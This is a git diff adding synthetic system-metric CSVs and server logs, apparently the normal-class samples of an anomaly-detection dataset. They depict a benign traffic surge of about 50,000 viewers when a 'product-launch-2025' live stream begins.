+2025-08-22T10:00:00Z,16.15,30.94,7.3,1.12,19.43,267 +2025-08-22T10:00:05Z,18.52,33.08,7.99,3.16,22.56,177 +2025-08-22T10:00:10Z,11.47,33.41,9.64,2.81,15.59,178 +2025-08-22T10:00:15Z,10.41,30.45,6.49,1.39,15.4,265 +2025-08-22T10:00:20Z,12.68,31.66,9.18,4.97,23.15,164 +2025-08-22T10:00:25Z,15.32,32.54,9.59,1.45,20.31,219 +2025-08-22T10:00:30Z,19.21,31.04,7.62,4.93,15.33,235 +2025-08-22T10:00:35Z,14.47,34.41,6.5,3.94,15.8,254 +2025-08-22T10:00:40Z,11.02,30.79,7.4,1.04,25.13,195 +2025-08-22T10:00:45Z,13.57,33.16,7.05,3.06,26.09,268 +2025-08-22T10:00:50Z,12.11,34.44,7.47,1.69,19.83,243 +2025-08-22T10:00:55Z,19.77,33.76,9.33,2.51,22.77,296 +2025-08-22T10:01:00Z,14.38,31.06,5.02,4.18,25.56,255 +2025-08-22T10:01:05Z,12.26,30.82,6.07,1.87,25.14,210 +2025-08-22T10:01:10Z,12.13,30.39,7.97,1.77,23.78,215 +2025-08-22T10:01:15Z,17.21,33.44,9.31,2.87,22.37,226 +2025-08-22T10:01:20Z,13.81,33.84,7.19,4.65,25.42,239 +2025-08-22T10:01:25Z,14.84,33.12,5.18,2.75,19.21,200 +2025-08-22T10:01:30Z,17.95,30.69,8.09,2.04,16.51,205 +2025-08-22T10:01:35Z,18.88,34.43,7.02,1.51,22.53,251 +2025-08-22T10:01:40Z,17.84,34.79,5.54,4.66,22.04,189 +2025-08-22T10:01:45Z,19.1,31.48,8.43,1.41,15.71,249 +2025-08-22T10:01:50Z,13.64,32.26,7.47,2.6,20.69,296 +2025-08-22T10:01:55Z,10.07,34.9,8.33,1.57,18.15,207 +2025-08-22T10:02:00Z,15.34,34.06,9.6,3.18,22.73,217 +2025-08-22T10:02:05Z,15.06,33.01,5.03,2.44,28.74,257 +2025-08-22T10:02:10Z,13.79,32.76,8.82,1.28,15.27,250 +2025-08-22T10:02:15Z,19.91,30.37,9.15,1.92,21.89,176 +2025-08-22T10:02:20Z,13.93,34.74,6.65,4.83,18.44,240 +2025-08-22T10:02:25Z,15.14,33.16,6.95,1.85,27.68,260 +2025-08-22T10:02:30Z,18.18,33.11,9.22,2.26,29.28,154 +2025-08-22T10:02:35Z,13.62,34.94,6.44,2.36,22.77,206 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Awaiting incoming stream. +Aug 22 10:00:30 systemd[1]: Starting daily health check... +Aug 22 10:00:50 stream-server[5555]: INFO: Server status: standby. Awaiting incoming stream. +Aug 22 10:01:00 systemd[1]: Starting daily health check... +Aug 22 10:01:30 systemd[1]: Starting daily health check... +Aug 22 10:01:40 stream-server[5555]: INFO: Server status: standby. Awaiting incoming stream. +Aug 22 10:02:00 systemd[1]: Starting daily health check... +Aug 22 10:02:30 systemd[1]: Starting daily health check... +Aug 22 10:02:30 stream-server[5555]: INFO: Server status: standby. Awaiting incoming stream. +Aug 22 10:03:00 systemd[1]: Starting daily health check... +Aug 22 10:03:20 stream-server[5555]: INFO: Server status: standby. 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(Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:07:15 cdn-edge[8888]: 192.168.89.60 - - [22/Aug/2025:10:07:15 +0000] "GET /live/product-launch-2025/segment242.ts HTTP/1.1" 206 130545 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:07:15 cdn-edge[8888]: 192.168.123.147 - - [22/Aug/2025:10:07:15 +0000] "GET /live/product-launch-2025/segment454.ts HTTP/1.1" 206 130545 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:07:20 cdn-edge[8888]: 192.168.223.37 - - [22/Aug/2025:10:07:20 +0000] "GET /live/product-launch-2025/segment229.ts HTTP/1.1" 206 130545 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +Aug 22 10:07:20 cdn-edge[8888]: 192.168.127.103 - - [22/Aug/2025:10:07:20 +0000] "GET /live/product-launch-2025/segment393.ts HTTP/1.1" 206 130545 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:07:20 cdn-edge[8888]: 192.168.138.27 - - [22/Aug/2025:10:07:20 +0000] "GET /live/product-launch-2025/segment363.ts HTTP/1.1" 206 130545 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:07:20 cdn-edge[8888]: 192.168.152.3 - - [22/Aug/2025:10:07:20 +0000] "GET /live/product-launch-2025/segment464.ts HTTP/1.1" 206 130545 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:07:20 cdn-edge[8888]: 192.168.127.103 - - [22/Aug/2025:10:07:20 +0000] "GET /live/product-launch-2025/segment120.ts HTTP/1.1" 206 130545 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:07:20 cdn-edge[8888]: 192.168.160.85 - - [22/Aug/2025:10:07:20 +0000] "GET /live/product-launch-2025/segment166.ts HTTP/1.1" 206 130545 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:07:20 cdn-edge[8888]: 192.168.6.37 - - [22/Aug/2025:10:07:20 +0000] "GET /live/product-launch-2025/segment253.ts HTTP/1.1" 206 130545 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:07:20 cdn-edge[8888]: 192.168.89.60 - - [22/Aug/2025:10:07:20 +0000] "GET /live/product-launch-2025/segment252.ts HTTP/1.1" 206 130545 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:07:20 cdn-edge[8888]: 192.168.223.37 - - [22/Aug/2025:10:07:20 +0000] "GET /live/product-launch-2025/segment457.ts HTTP/1.1" 206 130545 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:07:20 cdn-edge[8888]: 192.168.31.121 - - [22/Aug/2025:10:07:20 +0000] "GET /live/product-launch-2025/segment149.ts HTTP/1.1" 206 130545 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:07:20 cdn-edge[8888]: 192.168.71.251 - - [22/Aug/2025:10:07:20 +0000] "GET /live/product-launch-2025/segment359.ts HTTP/1.1" 206 130545 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +Aug 22 10:07:20 cdn-edge[8888]: 192.168.138.27 - - [22/Aug/2025:10:07:20 +0000] "GET /live/product-launch-2025/segment209.ts HTTP/1.1" 206 130545 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +Aug 22 10:07:20 cdn-edge[8888]: 192.168.54.71 - - [22/Aug/2025:10:07:20 +0000] "GET /live/product-launch-2025/segment346.ts HTTP/1.1" 206 130545 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:07:25 cdn-edge[8888]: 192.168.123.147 - - [22/Aug/2025:10:07:25 +0000] "GET /live/product-launch-2025/segment244.ts HTTP/1.1" 206 130545 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:07:25 cdn-edge[8888]: 192.168.160.85 - - [22/Aug/2025:10:07:25 +0000] "GET /live/product-launch-2025/segment289.ts HTTP/1.1" 206 130545 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:07:25 cdn-edge[8888]: 192.168.158.234 - - [22/Aug/2025:10:07:25 +0000] "GET /live/product-launch-2025/segment481.ts HTTP/1.1" 206 130545 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:07:25 cdn-edge[8888]: 192.168.31.121 - - [22/Aug/2025:10:07:25 +0000] "GET /live/product-launch-2025/segment278.ts HTTP/1.1" 206 130545 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:07:25 cdn-edge[8888]: 192.168.158.234 - - [22/Aug/2025:10:07:25 +0000] "GET /live/product-launch-2025/segment340.ts HTTP/1.1" 206 130545 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:07:25 cdn-edge[8888]: 192.168.31.121 - - [22/Aug/2025:10:07:25 +0000] "GET /live/product-launch-2025/segment481.ts HTTP/1.1" 206 130545 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +Aug 22 10:07:25 cdn-edge[8888]: 192.168.223.37 - - [22/Aug/2025:10:07:25 +0000] "GET /live/product-launch-2025/segment191.ts HTTP/1.1" 206 130545 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:07:25 cdn-edge[8888]: 192.168.152.3 - - [22/Aug/2025:10:07:25 +0000] "GET /live/product-launch-2025/segment122.ts HTTP/1.1" 206 130545 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:07:25 cdn-edge[8888]: 192.168.6.37 - - [22/Aug/2025:10:07:25 +0000] "GET /live/product-launch-2025/segment266.ts HTTP/1.1" 206 130545 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:07:25 cdn-edge[8888]: 192.168.64.221 - - [22/Aug/2025:10:07:25 +0000] "GET /live/product-launch-2025/segment244.ts HTTP/1.1" 206 130545 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" diff --git a/norm_dataset/scenario_7/norm_7_22.csv b/norm_dataset/scenario_7/norm_7_22.csv new file mode 100644 index 0000000000000000000000000000000000000000..a8fefda838c3176bf14d21c57f7426e314b44446 --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_22.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out,network_connections +2025-08-22T10:00:00Z,14.2,36.39,23.68,3.0,7.58,184 +2025-08-22T10:00:05Z,11.98,42.47,29.16,1.87,7.16,123 +2025-08-22T10:00:10Z,17.14,36.62,22.76,4.84,7.04,133 +2025-08-22T10:00:15Z,17.43,39.4,38.5,1.84,11.24,140 +2025-08-22T10:00:20Z,12.91,38.12,27.59,1.87,10.98,199 +2025-08-22T10:00:25Z,10.56,37.92,30.57,3.76,6.8,176 +2025-08-22T10:00:30Z,11.5,42.99,29.6,4.67,13.72,193 +2025-08-22T10:00:35Z,14.43,44.61,34.68,1.16,7.37,199 +2025-08-22T10:00:40Z,18.26,35.62,35.38,4.37,7.58,183 +2025-08-22T10:00:45Z,18.35,40.62,23.22,4.03,8.39,169 +2025-08-22T10:00:50Z,10.24,38.93,23.64,3.35,14.69,133 +2025-08-22T10:00:55Z,19.94,41.44,31.96,1.75,14.7,198 +2025-08-22T10:01:00Z,15.47,41.34,27.01,2.83,13.7,138 +2025-08-22T10:01:05Z,14.07,43.23,25.28,3.05,10.25,171 +2025-08-22T10:01:10Z,11.4,38.77,32.04,2.35,14.11,184 +2025-08-22T10:01:15Z,15.25,38.91,35.53,3.45,7.28,178 +2025-08-22T10:01:20Z,15.38,43.7,28.46,2.5,14.99,188 +2025-08-22T10:01:25Z,10.94,38.63,34.52,1.98,9.43,152 +2025-08-22T10:01:30Z,14.08,43.11,38.68,2.48,6.51,161 +2025-08-22T10:01:35Z,19.77,36.07,24.01,2.64,9.06,131 +2025-08-22T10:01:40Z,15.4,37.06,27.54,4.26,5.83,114 +2025-08-22T10:01:45Z,15.7,37.31,22.59,3.75,10.36,153 +2025-08-22T10:01:50Z,15.62,37.27,39.73,2.69,5.89,137 +2025-08-22T10:01:55Z,16.38,37.69,25.51,4.69,13.98,153 +2025-08-22T10:02:00Z,14.73,37.39,38.74,1.71,6.01,172 +2025-08-22T10:02:05Z,17.03,37.32,34.32,3.3,10.33,140 +2025-08-22T10:02:10Z,13.69,37.13,20.49,3.64,14.51,106 +2025-08-22T10:02:15Z,19.87,37.62,33.77,3.9,6.05,107 +2025-08-22T10:02:20Z,19.45,43.15,21.59,3.18,6.39,152 +2025-08-22T10:02:25Z,14.9,38.51,34.72,4.76,11.37,157 +2025-08-22T10:02:30Z,93.66,46.31,35.47,12.32,556.8,45828 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+2025-08-22T10:04:00Z,68.56,48.59,38.62,2.36,763.02,50000 +2025-08-22T10:04:05Z,56.7,50.47,31.34,6.88,771.79,51933 +2025-08-22T10:04:10Z,63.52,51.55,27.7,3.43,836.86,49154 +2025-08-22T10:04:15Z,68.9,54.51,33.54,5.12,796.94,51034 +2025-08-22T10:04:20Z,59.8,50.36,36.48,3.1,791.33,51934 +2025-08-22T10:04:25Z,59.35,52.54,34.52,6.26,839.8,50772 +2025-08-22T10:04:30Z,60.21,46.77,21.73,6.12,839.91,50481 +2025-08-22T10:04:35Z,68.49,50.2,34.82,2.12,789.53,50470 +2025-08-22T10:04:40Z,58.66,45.05,34.27,5.32,764.05,49398 +2025-08-22T10:04:45Z,58.92,51.73,26.75,7.45,801.27,49827 +2025-08-22T10:04:50Z,63.56,45.13,27.59,2.47,773.22,49527 +2025-08-22T10:04:55Z,55.67,54.54,27.82,7.34,768.03,51810 +2025-08-22T10:05:00Z,66.79,52.98,39.77,4.47,760.12,51100 +2025-08-22T10:05:05Z,69.29,47.45,38.93,6.52,788.47,51331 +2025-08-22T10:05:10Z,59.6,49.16,27.95,6.02,831.85,50300 +2025-08-22T10:05:15Z,60.66,52.96,30.74,5.07,767.01,49243 +2025-08-22T10:05:20Z,58.01,45.59,31.24,3.86,800.4,49137 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+2025-08-22T10:06:50Z,60.21,49.2,39.96,2.95,753.67,50571 +2025-08-22T10:06:55Z,67.23,53.37,23.39,4.86,799.96,49057 +2025-08-22T10:07:00Z,61.78,49.73,31.92,3.75,842.15,49091 +2025-08-22T10:07:05Z,67.57,47.44,29.92,4.08,847.07,49851 +2025-08-22T10:07:10Z,64.13,49.84,34.23,7.22,755.22,49103 +2025-08-22T10:07:15Z,63.63,45.42,25.3,4.96,814.77,49265 +2025-08-22T10:07:20Z,64.85,52.42,33.92,7.09,811.51,50045 +2025-08-22T10:07:25Z,69.11,52.17,34.38,6.57,773.78,49396 diff --git a/norm_dataset/scenario_7/norm_7_22.log b/norm_dataset/scenario_7/norm_7_22.log new file mode 100644 index 0000000000000000000000000000000000000000..b93305b1b884422cf05efda91e203bc8fee3ca3c --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_22.log @@ -0,0 +1,99 @@ +Aug 22 10:00:00 web-app[3456]: GET /api/v1/status status=200 OK +Aug 22 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:30 web-app[3456]: GET /api/v1/status status=200 OK +Aug 22 10:00:50 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:00 web-app[3456]: GET /api/v1/status status=200 OK +Aug 22 10:01:30 web-app[3456]: GET /api/v1/status status=200 OK +Aug 22 10:01:40 systemd[1]: Starting daily clean up activities... +Aug 22 10:02:00 web-app[3456]: GET /api/v1/status status=200 OK +Aug 22 10:02:30 web-app[3456]: INFO: Live stream 'product-launch-2025' has started. +Aug 22 10:02:30 web-app[3456]: INFO: Current viewers: 48,201. +Aug 22 10:02:30 cdn-access[8888]: GET /live/stream.m3u8 status=200 OK +Aug 22 10:02:30 cdn-access[8888]: GET /live/segment101.ts status=206 Partial Content +Aug 22 10:02:30 cdn-access[8888]: GET /live/stream.m3u8 status=200 OK +Aug 22 10:02:30 cdn-access[8888]: GET /live/segment101.ts status=206 Partial Content +Aug 22 10:02:30 cdn-access[8888]: GET /live/stream.m3u8 status=200 OK +Aug 22 10:02:30 cdn-access[8888]: GET /live/segment101.ts status=206 Partial Content +Aug 22 10:02:30 cdn-access[8888]: GET /live/stream.m3u8 status=200 OK +Aug 22 10:02:30 cdn-access[8888]: GET /live/segment101.ts status=206 Partial Content +Aug 22 10:02:30 cdn-access[8888]: GET /live/stream.m3u8 status=200 OK +Aug 22 10:02:30 cdn-access[8888]: GET /live/segment101.ts status=206 Partial Content +Aug 22 10:02:35 cdn-access[8888]: GET /live/segment102.ts status=206 Partial Content +Aug 22 10:02:40 cdn-access[8888]: GET /live/segment103.ts status=206 Partial Content +Aug 22 10:02:45 cdn-access[8888]: GET /live/segment104.ts status=206 Partial Content +Aug 22 10:02:45 cdn-access[8888]: GET /live/stream.m3u8 status=200 OK +Aug 22 10:02:50 cdn-access[8888]: GET /live/segment105.ts status=206 Partial Content +Aug 22 10:02:55 cdn-access[8888]: GET /live/segment106.ts status=206 Partial Content +Aug 22 10:03:00 cdn-access[8888]: GET /live/segment107.ts status=206 Partial Content +Aug 22 10:03:00 cdn-access[8888]: GET /live/stream.m3u8 status=200 OK +Aug 22 10:03:05 cdn-access[8888]: GET /live/segment108.ts status=206 Partial Content +Aug 22 10:03:10 cdn-access[8888]: GET /live/segment109.ts status=206 Partial Content +Aug 22 10:03:15 cdn-access[8888]: GET /live/segment110.ts status=206 Partial Content +Aug 22 10:03:15 cdn-access[8888]: GET /live/stream.m3u8 status=200 OK +Aug 22 10:03:20 cdn-access[8888]: GET /live/segment111.ts status=206 Partial Content +Aug 22 10:03:25 cdn-access[8888]: GET /live/segment112.ts status=206 Partial Content +Aug 22 10:03:30 cdn-access[8888]: GET /live/segment113.ts status=206 Partial Content +Aug 22 10:03:30 cdn-access[8888]: GET /live/stream.m3u8 status=200 OK +Aug 22 10:03:30 web-app[3456]: INFO: Viewer count stable at 51,500. +Aug 22 10:03:35 cdn-access[8888]: GET /live/segment114.ts status=206 Partial Content +Aug 22 10:03:40 cdn-access[8888]: GET /live/segment115.ts status=206 Partial Content +Aug 22 10:03:45 cdn-access[8888]: GET /live/segment116.ts status=206 Partial Content +Aug 22 10:03:45 cdn-access[8888]: GET /live/stream.m3u8 status=200 OK +Aug 22 10:03:50 cdn-access[8888]: GET /live/segment117.ts status=206 Partial Content +Aug 22 10:03:55 cdn-access[8888]: GET /live/segment118.ts status=206 Partial Content +Aug 22 10:04:00 cdn-access[8888]: GET /live/segment119.ts status=206 Partial Content +Aug 22 10:04:00 cdn-access[8888]: GET /live/stream.m3u8 status=200 OK +Aug 22 10:04:05 cdn-access[8888]: GET /live/segment120.ts status=206 Partial Content +Aug 22 10:04:10 cdn-access[8888]: GET /live/segment121.ts status=206 Partial Content +Aug 22 10:04:15 cdn-access[8888]: GET /live/segment122.ts status=206 Partial Content +Aug 22 10:04:15 cdn-access[8888]: GET /live/stream.m3u8 status=200 OK +Aug 22 10:04:20 cdn-access[8888]: GET /live/segment123.ts status=206 Partial Content +Aug 22 10:04:25 cdn-access[8888]: GET /live/segment124.ts status=206 Partial Content +Aug 22 10:04:30 cdn-access[8888]: GET /live/segment125.ts status=206 Partial Content +Aug 22 10:04:30 cdn-access[8888]: GET /live/stream.m3u8 status=200 OK +Aug 22 10:04:35 cdn-access[8888]: GET /live/segment126.ts status=206 Partial Content +Aug 22 10:04:40 cdn-access[8888]: GET /live/segment127.ts status=206 Partial Content +Aug 22 10:04:45 cdn-access[8888]: GET /live/segment128.ts status=206 Partial Content +Aug 22 10:04:45 cdn-access[8888]: GET /live/stream.m3u8 status=200 OK +Aug 22 10:04:50 cdn-access[8888]: GET /live/segment129.ts status=206 Partial Content +Aug 22 10:04:55 cdn-access[8888]: GET /live/segment130.ts status=206 Partial Content +Aug 22 10:05:00 cdn-access[8888]: GET /live/segment131.ts status=206 Partial Content +Aug 22 10:05:00 cdn-access[8888]: GET /live/stream.m3u8 status=200 OK +Aug 22 10:05:05 cdn-access[8888]: GET /live/segment132.ts status=206 Partial Content +Aug 22 10:05:10 cdn-access[8888]: GET /live/segment133.ts status=206 Partial Content +Aug 22 10:05:15 cdn-access[8888]: GET /live/segment134.ts status=206 Partial Content +Aug 22 10:05:15 cdn-access[8888]: GET /live/stream.m3u8 status=200 OK +Aug 22 10:05:20 cdn-access[8888]: GET /live/segment135.ts status=206 Partial Content +Aug 22 10:05:25 cdn-access[8888]: GET /live/segment136.ts status=206 Partial Content +Aug 22 10:05:30 cdn-access[8888]: GET /live/segment137.ts status=206 Partial Content +Aug 22 10:05:30 cdn-access[8888]: GET /live/stream.m3u8 status=200 OK +Aug 22 10:05:35 cdn-access[8888]: GET /live/segment138.ts status=206 Partial Content +Aug 22 10:05:40 cdn-access[8888]: GET /live/segment139.ts status=206 Partial Content +Aug 22 10:05:45 cdn-access[8888]: GET /live/segment140.ts status=206 Partial Content +Aug 22 10:05:45 cdn-access[8888]: GET /live/stream.m3u8 status=200 OK +Aug 22 10:05:50 cdn-access[8888]: GET /live/segment141.ts status=206 Partial Content +Aug 22 10:05:55 cdn-access[8888]: GET /live/segment142.ts status=206 Partial Content +Aug 22 10:06:00 cdn-access[8888]: GET /live/segment143.ts status=206 Partial Content +Aug 22 10:06:00 cdn-access[8888]: GET /live/stream.m3u8 status=200 OK +Aug 22 10:06:05 cdn-access[8888]: GET /live/segment144.ts status=206 Partial Content +Aug 22 10:06:10 cdn-access[8888]: GET /live/segment145.ts status=206 Partial Content +Aug 22 10:06:15 cdn-access[8888]: GET /live/segment146.ts status=206 Partial Content +Aug 22 10:06:15 cdn-access[8888]: GET /live/stream.m3u8 status=200 OK +Aug 22 10:06:20 cdn-access[8888]: GET /live/segment147.ts status=206 Partial Content +Aug 22 10:06:25 cdn-access[8888]: GET /live/segment148.ts status=206 Partial Content +Aug 22 10:06:30 cdn-access[8888]: GET /live/segment149.ts status=206 Partial Content +Aug 22 10:06:30 cdn-access[8888]: GET /live/stream.m3u8 status=200 OK +Aug 22 10:06:35 cdn-access[8888]: GET /live/segment150.ts status=206 Partial Content +Aug 22 10:06:40 cdn-access[8888]: GET /live/segment151.ts status=206 Partial Content +Aug 22 10:06:45 cdn-access[8888]: GET /live/segment152.ts status=206 Partial Content +Aug 22 10:06:45 cdn-access[8888]: GET /live/stream.m3u8 status=200 OK +Aug 22 10:06:50 cdn-access[8888]: GET /live/segment153.ts status=206 Partial Content +Aug 22 10:06:55 cdn-access[8888]: GET /live/segment154.ts status=206 Partial Content +Aug 22 10:07:00 cdn-access[8888]: GET /live/segment155.ts status=206 Partial Content +Aug 22 10:07:00 cdn-access[8888]: GET /live/stream.m3u8 status=200 OK +Aug 22 10:07:05 cdn-access[8888]: GET /live/segment156.ts status=206 Partial Content +Aug 22 10:07:10 cdn-access[8888]: GET /live/segment157.ts status=206 Partial Content +Aug 22 10:07:15 cdn-access[8888]: GET /live/segment158.ts status=206 Partial Content +Aug 22 10:07:15 cdn-access[8888]: GET /live/stream.m3u8 status=200 OK +Aug 22 10:07:20 cdn-access[8888]: GET /live/segment159.ts status=206 Partial Content +Aug 22 10:07:25 cdn-access[8888]: GET /live/segment160.ts status=206 Partial Content diff --git a/norm_dataset/scenario_7/norm_7_23.csv b/norm_dataset/scenario_7/norm_7_23.csv new file mode 100644 index 0000000000000000000000000000000000000000..75dc72d511afaf0ff2a55bb91ed1d3e8476186ce --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_23.csv @@ -0,0 +1,91 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+2025-08-22T10:03:05Z,75.49,52.85,29.98,47.28,785.96 +2025-08-22T10:03:10Z,78.42,49.92,29.97,45.19,844.86 +2025-08-22T10:03:15Z,82.75,55.57,29.43,39.39,810.06 +2025-08-22T10:03:20Z,79.79,56.34,29.97,47.28,789.64 +2025-08-22T10:03:25Z,90.06,52.52,22.93,53.92,686.5 +2025-08-22T10:03:30Z,82.33,63.51,39.39,62.39,749.73 +2025-08-22T10:03:35Z,71.04,56.3,33.59,53.08,741.27 +2025-08-22T10:03:40Z,87.57,54.53,40.05,58.54,840.51 +2025-08-22T10:03:45Z,78.0,54.11,37.1,50.07,850.14 +2025-08-22T10:03:50Z,75.97,47.84,41.45,54.37,749.91 +2025-08-22T10:03:55Z,76.29,55.54,38.2,59.45,847.23 +2025-08-22T10:04:00Z,76.75,51.49,39.38,60.42,754.63 +2025-08-22T10:04:05Z,88.02,63.18,44.7,52.5,797.23 +2025-08-22T10:04:10Z,82.1,54.79,24.92,46.5,710.93 +2025-08-22T10:04:15Z,75.46,55.41,34.04,47.8,820.19 +2025-08-22T10:04:20Z,84.42,56.69,26.9,54.79,787.83 +2025-08-22T10:04:25Z,71.59,53.52,36.57,52.36,832.74 +2025-08-22T10:04:30Z,89.5,59.08,33.05,46.89,805.9 +2025-08-22T10:04:35Z,85.04,51.1,26.09,45.4,828.11 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+2025-08-22T10:06:15Z,74.64,51.1,25.18,57.44,781.19 +2025-08-22T10:06:20Z,83.54,60.67,35.46,52.9,745.35 +2025-08-22T10:06:25Z,79.47,57.32,34.11,53.3,787.98 +2025-08-22T10:06:30Z,72.83,58.46,38.55,50.56,863.84 +2025-08-22T10:06:35Z,74.07,55.6,37.21,44.13,863.4 +2025-08-22T10:06:40Z,79.21,52.85,38.67,46.27,815.32 +2025-08-22T10:06:45Z,77.35,51.33,31.13,53.54,771.99 +2025-08-22T10:06:50Z,76.73,55.92,36.69,45.26,701.24 +2025-08-22T10:06:55Z,79.93,60.39,34.25,49.18,786.79 +2025-08-22T10:07:00Z,85.27,56.37,29.73,41.01,754.59 +2025-08-22T10:07:05Z,85.84,49.16,33.79,43.53,694.99 +2025-08-22T10:07:10Z,78.38,57.75,35.09,49.96,891.87 +2025-08-22T10:07:15Z,78.97,56.8,42.03,48.44,839.34 +2025-08-22T10:07:20Z,81.73,51.82,34.92,49.53,701.22 +2025-08-22T10:07:25Z,76.31,64.26,32.82,44.98,806.09 diff --git a/norm_dataset/scenario_7/norm_7_23.log b/norm_dataset/scenario_7/norm_7_23.log new file mode 100644 index 0000000000000000000000000000000000000000..d88d3702bfc21c0bc2d144b83194162db46983f5 --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_23.log @@ -0,0 +1,439 @@ +Aug 22 10:00:00 systemd[1]: Starting daily user session cleanup... +Aug 22 10:00:00 web-server[1122]: GET /health-check status=200 OK +Aug 22 10:00:35 web-server[1122]: GET /health-check status=200 OK +Aug 22 10:00:50 systemd[1]: Starting daily user session cleanup... +Aug 22 10:01:10 web-server[1122]: GET /health-check status=200 OK +Aug 22 10:01:40 systemd[1]: Starting daily user session cleanup... +Aug 22 10:01:45 web-server[1122]: GET /health-check status=200 OK +Aug 22 10:02:20 web-server[1122]: GET /health-check status=200 OK +Aug 22 10:02:28 app-server[4588]: INFO: Live stream 'product-launch-2025' has started. +Aug 22 10:02:30 app-server[4588]: INFO: Current viewers: 50,000. +Aug 22 10:02:32 cdn-edge[9981]: 192.168.230.43 - GET /live/product-launch-2025/segment114.ts HTTP/1.1" 206 +Aug 22 10:02:33 cdn-edge[9981]: 192.168.104.46 - GET /live/product-launch-2025/segment101.ts HTTP/1.1" 200 +Aug 22 10:02:34 cdn-edge[9981]: 192.168.14.195 - GET /live/product-launch-2025/segment106.ts HTTP/1.1" 206 +Aug 22 10:02:33 cdn-edge[9981]: 192.168.78.89 - GET /live/product-launch-2025/segment113.ts HTTP/1.1" 206 +Aug 22 10:02:31 cdn-edge[9981]: 192.168.48.37 - GET /live/product-launch-2025/segment107.ts HTTP/1.1" 206 +Aug 22 10:02:32 cdn-edge[9981]: 192.168.175.186 - GET /live/product-launch-2025/segment113.ts HTTP/1.1" 200 +Aug 22 10:02:31 cdn-edge[9981]: 192.168.104.46 - GET /live/product-launch-2025/segment104.ts HTTP/1.1" 206 +Aug 22 10:02:33 cdn-edge[9981]: 192.168.48.37 - GET /live/product-launch-2025/segment101.ts HTTP/1.1" 206 +Aug 22 10:02:31 cdn-edge[9981]: 192.168.171.202 - GET 